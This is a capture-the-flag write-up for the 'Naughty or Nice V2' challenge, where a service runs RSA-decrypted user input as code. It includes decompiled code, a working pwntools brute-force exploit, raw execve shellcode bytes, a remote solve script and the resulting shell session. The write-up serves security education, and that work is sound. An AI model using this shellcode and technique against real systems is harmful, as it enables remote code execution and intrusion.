OverTheWireAdvent Naughty or Nice V2
- Tags: pwn crypto
- Points: 389
- Solves: 29
Last year, Santa made a network service to receive instructions for Christmas wishes. Unfortunately it had some security issues, which have now been fixed. Hopefully…
Author: Retr0id
Solution
Summary
- Reverse engineer to find out the logic
- Craft the encrypted message (which contains shellcode) and brute force to find suitable condition where the shellcode is executed
Details
1. Reverse engineering the code
We reversed the code with Ghidra:
int main(void)
{
size_t sVar1;
long in_FS_OFFSET;
undefined8 uVar2;
size_t local_48;
code *local_40;
undefined local_38 [16];
undefined local_28 [24];
setvbuf(stdout,(char *)0x0,2,0);
fancy_puts(
"After last year\'s embarrassment, Santa decided to simplify how he authenticatedletters.\n\n"
);
fancy_puts(" \"What\'s the point of hashing the message first, if the message is short?\n");
fancy_puts(" We can just encrypt the message itself with the private key!\n");
fancy_puts(
" It should be fine as long as we use a secure padding scheme like PKCS#1 1.5,right?\"\n"
);
fancy_puts("\nSo, what would you like for Christmas?\n");
sVar1 = fread(ciphertext,1,0x80,stdin);
if (sVar1 != 0x80) {
puts("Your wish list is too short!");
exit(-1);
}
uVar2 = 0x1013e3;
__gmpz_init(local_38);
__gmpz_import(local_38,0x80,1,1,0,0,pubkey,uVar2);
uVar2 = 0x101426;
__gmpz_init(local_28);
__gmpz_import(local_28,0x80,1,1,0,0,ciphertext,uVar2);
uVar2 = 0x101479;
__gmpz_powm_ui(local_28,local_28,0x10001,local_38);
__gmpz_export(plaintext,&local_48,1,1,0,0,local_28,uVar2);
memmove(plaintext + (0x80 - local_48),plaintext,local_48);
memset(plaintext,0,0x80 - local_48);
plaintext[128] = 0;
local_40 = (code *)rsa_pkcs1_unpad(plaintext);
if (local_40 == (code *)0x0) {
puts("Naughty!");
}
else {
puts("Nice!");
sVar1 = strlen((char *)local_40);
make_executable(local_40,sVar1,sVar1);
(*local_40)();
}
return 0;
}
char * rsa_pkcs1_unpad(char *s)
{
int i = 2;
if (*s == '\x00') {
if (s[1] == '\x02') {
while ((s[i] != '\x00' && (i < 0x80))) {
i++;
}
i++;
if (i <= 0xb && i < 0x81) {
return &s[i];
}
}
}
return NULL;
}
This program computes plaintext from user-supplied ciphertext:
then checks if plaintext[0] == 0x00, plaintext[1] == 0x02.
Then it search for byte 0x00 from plaintext[2] onwards, i.e. find such that plaintext[n] == 0x00, and if then plaintext[n+1..] is executed as x86-64 code.
2. Build a valid ciphertext
This program uses RSA public and private keys in an opposite way than usual (using private key for encryption, public key for decryption). Since we only have public key, we can compute plaintext from ciphertext, but we cannot directly compute ciphertext from plaintext.
We can compute plaintexts for various ciphertexts, and if the computed plaintext happens to meet the above condition, it is accepted and code is executed.
However, ciphertext to plaintext mapping is almost random, and the probability of getting plaintext[0]==0x00 and plaintext[1]==0x02 is about . Fortunately, other condition is relatively easier to be satisfied: the chance of having 0x00 in any place of plaintext is about .
Next, we have to have valid instructions in the beginning of the code. Unfortunately the probability of having the exact 27bytes shellcode in the plaintext is roughly , so it’s impossible to find it; instead, we try to find 8bit jmp / jcc (conditional jump) code. Opcode of jmp / jcc is 0x71..0x7f, 0xe3, 0xeb, and the probability is about . Then we put shellcode in the ciphertext. Since the jmp offset is -128..127, it may reach the shellcode located in ciphertext, from plaintext. Note that ciphertext is located just before plaintext in memory and each of them is 128bytes long. The memory layout would look like:
+---------------------------------------------------+-----------------------------------------------------------+
| ciphertext | plaintext |
+---------------------------------------------------+-----------------------------------------------------------+
| ?? ?? ?? 90 90 ... ... 90 SHELLCODE ... | 00 02 ?? ?? ... ?? 00 JJ ?? ?? ... |
+---------------------------------------------------+-----------------------------------------------------------+
^---------------------------------------------------+ jump to shellcode (or NOP thread)
We have to calculate the jmp offset and check if it reaches the shellcode (the offset should be large negative value in order to reach the shellcode).
The probability we can find a ciphertext would be at most 1/4000000 (1/65536[first 2 bytes] * 1/2[have 0x00] * 1/16[operator is jmp] * 1/2[operand is negative value]), but it is not unrealistic number.
Considering the probability, we just mutate the first 3 bytes to brute force to find a ciphertext which decrypts to a plaintext which meets the condition, and fortunately found it.
ch7_bruteforce.py:
from pwn import *
from Crypto.PublicKey import RSA
context.arch = 'amd64'
elf = ELF('naughty_or_nice')
pubkey_addr = elf.symbols['pubkey']
pubkey = elf.read(pubkey_addr, 128)
n = int(pubkey.hex(), 16)
#shellcode = asm(shellcraft.amd64.linux.sh())
# use shorter code if possible
shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
sclen = len(shellcode)
shellcode = (asm('nop')*128 + shellcode)[-128:]
print(shellcode)
shellcode = list(shellcode)
shellcode[3] = 0x66
# this shellcode is mutated and used as ciphertext
for i in range(256): # mutate
shellcode[0] = i
for j in range(256): # mutate
shellcode[1] = j
for k in range(256): # mutate
shellcode[2] = k
# compute plaintext
ct = bytes(shellcode)
cti = int(ct.hex(), 16)
pti = pow(cti, 65537, n)
pt = bytes.fromhex(('0'*256+hex(pti)[2:])[-256:])
# check if the padding condition is met
if pt[0] == 0 and pt[1] == 2:
# find code position
pos = pt.find(b'\x00', 2)
if pos >= 10 and pos < 79:
# check if the instruction is jmp or j[cc]
op = pt[pos+1]
if op in [0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7a, 0x7b, 0x7c, 0x7d, 0x7e, 0x7f, 0xeb, 0xe3]:
# check if the jump offset is negative
if pt[pos+2] >= 0x80:
print('OK; offset = %d' % (pos+1))
jmptarget = pt[pos+2] - 256 + pos
print('jmp target offset = %d' % jmptarget)
print(pt.hex())
print(list(pt))
print(ct.hex())
# check if the code jumps to shellcode
if (-jmptarget >= sclen):
print('trying...')
print(disasm(pt[pos+1:]))
p = process('./naughty_or_nice')
print(p.recvuntil('Christmas?'))
p.send(bytes(ct))
p.interactive()
ch7_solve.py:
from pwn import *
data = bytes.fromhex('19880e669090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909031c048bbd19d9691d08c97ff48f7db53545f995257545eb03b0f05')
#p = process('./naughty_or_nice')
p = remote('3.93.128.89', 1207)
print(p.recvuntil('Christmas?'))
p.send(data)
p.interactive()
$ python3 solve2.py
[+] Opening connection to 3.93.128.89 on port 1207: Done
b'After last year\'s embarrassment, Santa decided to simplify how he authenticated letters.\n\n "What\'s the point of hashing the message first, if the message is short?\n We can just encrypt the message itself with the private key!\n It should be fine as long as we use a secure padding scheme like PKCS#1 1.5, right?"\n\nSo, what would you like for Christmas?'
[*] Switching to interactive mode
Nice!
$ ls
flag
naughty_or_nice
redir.sh
$ cat flag
AOTW{Nev3r_Ev3r_r0ll_ur_0wn_crypt0}
by Fukutomo